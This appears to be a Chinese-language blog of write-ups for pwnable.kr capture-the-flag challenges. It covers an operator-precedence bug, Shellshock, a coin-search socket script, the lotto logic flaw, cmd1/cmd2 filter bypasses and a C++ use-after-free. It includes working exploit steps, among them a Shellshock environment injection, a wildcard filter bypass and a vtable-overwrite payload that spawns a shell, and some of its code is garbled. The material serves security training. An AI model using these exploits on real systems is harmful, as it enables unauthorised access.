#include
#include
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
这题本来是没找到端倪的,不过尝试执行后,发现终端在等待输入,但是没有提示信息“input password : ”。在输入一个回车以后,才提示出来。可以断定,在这之前打开stdin,并且进行了读入。向上回溯,相关函数只有read,那么很可能是fd的值为0。fd赋值语句为fd=open("/home/mistake/password",O_RDONLY,0400) < 0。结合提示,可以知道是<的优先级高于=,所以open("/home/mistake/password",O_RDONLY,0400) < 0会先执行,结果为0(文件成功打开),然后赋值给fd。所以fd的值为0,导致密码为用户输入,而不是从文件读取。
#include
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
从题目可以知道,利用shellshock就可以攻击。env x='() { :;}; /bin/cat flag;' ./shellshock
考网络编程的题目。要求从一堆硬币中找到一个重量不同的硬币,这里用二分法即可。要求的速度较快,需要30秒内完成100题,本机网络达不到这个速度。因此需要将代码上传到pwnable.kr的服务器上去运行(使用之前题目中任一帐号即可)。具体代码实现如下:
#!/usr/bin/python
import socket
import sys
import re
# get the socket connection
def connect(HOST, PORT):
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error, msg:
s = None
continue
try:
s.connect(sa)
except socket.error, msg:
s.close()
s = None
continue
break
return s
# if the weight is correct, then the counterfeit coint is in the other half. Otherwise, it is in the current half.
def weight(cIndex, cWeight, lIndex):
if cWeight != (cIndex[1]-cIndex[0])*10:
return cIndex
else:
return (cIndex[1],lIndex[1])
# format the index range to string
def getNumbers(index):
strList = []
for i in range(index[0], index[1]):
strList.append(str(i))
return ' '.join(strList)
HOST = 'localhost' # The remote host
#HOST = 'pwnable.kr' # The remote host
PORT = 9007 # The same port as used by the server
s = connect(HOST, PORT)
if s is None:
print 'could not open socket'
sys.exit(1)
index = None # the range that to be weighted
lastIndex = None # the range that contains the counterfeit coin
while True:
data = s.recv(1024)
print str(data)
pattern1 = re.compile("""^N=([0-9]*) C=([0-9]*)$""")
match1 = pattern1.match(str(data))
pattern2 = re.compile("""^([0-9]*)$""")
match2 = pattern2.match(str(data))
# the first round
if match1:
index = (0,int(match1.group(1))/2)
lastIndex = (0, int(match1.group(1)))
print str(getNumbers(index))
s.send(getNumbers(index) + "\r\n")
# the other round
elif match2 and len(match2.group(1)) > 0:
lastIndex=weight(index, int(match2.group(1)), lastIndex)
index=(lastIndex[0], (lastIndex[0]+lastIndex[1])/2 + (lastIndex[0]+lastIndex[1])%2) # get the ceil value when divided by 2
print str(getNumbers(index))
s.send(getNumbers(index) + "\r\n")
elif "format error" in str(data) or "time expired! bye!" in str(data):
break
s.close()
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
然而坑爹的是,我是在mac中尝试编译的lotto.c文件,然后在输出log后,发现效果和linux中不一样。同样是输入6个!,linux中的submit值变成32 32 32 32 32 32,而mac中的值缺是10 32 32 32 32 32。而如果是输入5个!,mac中的值是32 32 32 32 32 10。也就是说,在mac中,没有办法一次性将submit中值赋成6个一样的数,因为read函数接受了换行符,并会将其从头开始赋值(也就是说,即使输入了很多很多的字符,read也只会一遍一遍的覆盖这6个字符位),这应该是mac中gcc的一个优化,可以一定程度上避免内存溢出。
尽管如此,我还是找到了破解的方法。这个代码中其实还隐藏了一个简单的Use-After-Free的漏洞,即submit这个变量,并没有清空过,上次的赋值结果会持续保留。因此,第一次输入5个字符,submit的值为32 32 32 32 32 10。然后再次开始游戏,输入4个字符,submit的值就会变成为32 32 32 32 10 10。注意,这里最后一位的10并不是本次赋值的结果,而是上次赋值的一个残留。以此类推,分别输入3个字符、2个字符、1个字符,再这之后,不输入字符,直接回车即可,submit的值会变成10 10 10 10 10 10。这样以来,submit中的值保持一致且小于45,只需要多尝试几次就可以很容易成功了。
#include
#include
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
这题比较简单。程序中首先修改了环境变量,导致无法直接使用cat等命令,但其实可以直接通过完整路径使用,如/bin/cat。然后输入的参数中,不能够带有flag、sh、tmp这几个字段,也就是不能直接cat flag,但是可以通过*的自动补齐逻辑来替代。因此,执行./cmd1 "/bin/cat fla*"即可。
#include
#include
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
相比上一题,过滤条件加强了很多,也不允许修改环境变量或者提前设置bash变量。可以确定的方向是,想要执行一个命令,必须包含/字符。因此,这题的思路基本就是使用builtin的命令来构造出/字符,并巧妙的利用它们。
#include
#include
#include
#include
#include
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
0x0000000000400f13 <+79>: callq 0x401264 <_ZN3ManC2ESsi>
0x0000000000400f18 <+84>: mov %rbx,-0x38(%rbp)
这里对应的是rbp-0x38。同样的也可以找到w的内存地址为:rbp-0x30。
(gdb) x/x $rbp-0x38
0x7fff8133d128: 0x01500040
(gdb) x/6x 0x01500040
0x1500040: 0x00401570 0x00000000 0x00000019 0x00000000
0x1500050: 0x01500028 0x00000000
(gdb) x/12x 0x00401570
0x401570 <_ZTV3Man+16>: 0x0040117a 0x00000000 0x004012d2 0x00000000
0x401580 <_ZTV5Human>: 0x00000000 0x00000000 0x004015f0 0x00000000
0x401590 <_ZTV5Human+16>: 0x0040117a 0x00000000 0x00401192 0x00000000
(gdb) x/i 0x0040117a
0x40117a <_ZN5Human10give_shellEv>: push %rbp
(gdb) x/i 0x004012d2
0x4012d2 <_ZN3Man9introduceEv>: push %rbp
0x0000000000400fcd <+265>: mov -0x38(%rbp),%rax
0x0000000000400fd1 <+269>: mov (%rax),%rax
0x0000000000400fd4 <+272>: add $0x8,%rax
0x0000000000400fd8 <+276>: mov (%rax),%rdx
0x0000000000400fdb <+279>: mov -0x38(%rbp),%rax
0x0000000000400fdf <+283>: mov %rax,%rdi
0x0000000000400fe2 <+286>: callq *%rdx
可以看到调用的过程就是获取m的地址,然后进一步获取其中vtable的地址,然后将vtable的地址加8,就可以调用到introduce方法了。因为这部分汇编是没法改变的,但是我们能够通过Use After Free去修改0x01500040中的值,于是vtable的地址可以被改变。为了使得vtable+8能够指向give_shell方法,那么vtable + 8 = 0x401570,因此vtable的值应该是0x401568。
uaf@ubuntu:~$ echo -en "\x68\x15\x40\x00\x00\x00\x00\x00" > /tmp/wuaf
uaf@ubuntu:~$ ./uaf 24 /tmp/wuaf
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning
之所以要allocate两次,是因为在free的时候是先free的m后free的w。因此,第一次allocate会写入w,第二次才会写入m。然后执行m的introduce方法,因为vtable的地址已经改变,所以会指向give_shell中去。
#include
static main(){
auto max_eax, max_ebx, second_eax, second_ebx, third_eax, third_ebx;
auto eax, ebx;
max_eax = 0;
second_eax = 0;
third_eax = 0;
max_ebx = 0;
second_ebx = 0;
third_ebx = 0;
AddBpt(0x403E65);
StartDebugger("","","");
auto count;
for(count = 0; count < 999; count ++){
auto code = GetDebuggerEvent(WFNE_SUSP|WFNE_CONT, -1);
eax = GetRegValue("EAX");
ebx = GetRegValue("EBX");
if(max_eax < eax){
third_eax = second_eax;
third_ebx = second_ebx;
second_eax = max_eax;
second_ebx = max_ebx;
max_eax = eax;
max_ebx = ebx;
}else if(second_eax < eax){
third_eax = second_eax;
third_ebx = second_ebx;
second_eax = eax;
second_ebx = ebx;
}else if(third_eax < eax){
third_eax = eax;
third_ebx = ebx;
}
}
Message("max eax: %d, ebx: %x, second eax: %d, ebx: %x, third eax: %d, ebx: %x\n", max_eax, max_ebx, second_eax, second_ebx, third_eax, third_ebx);
}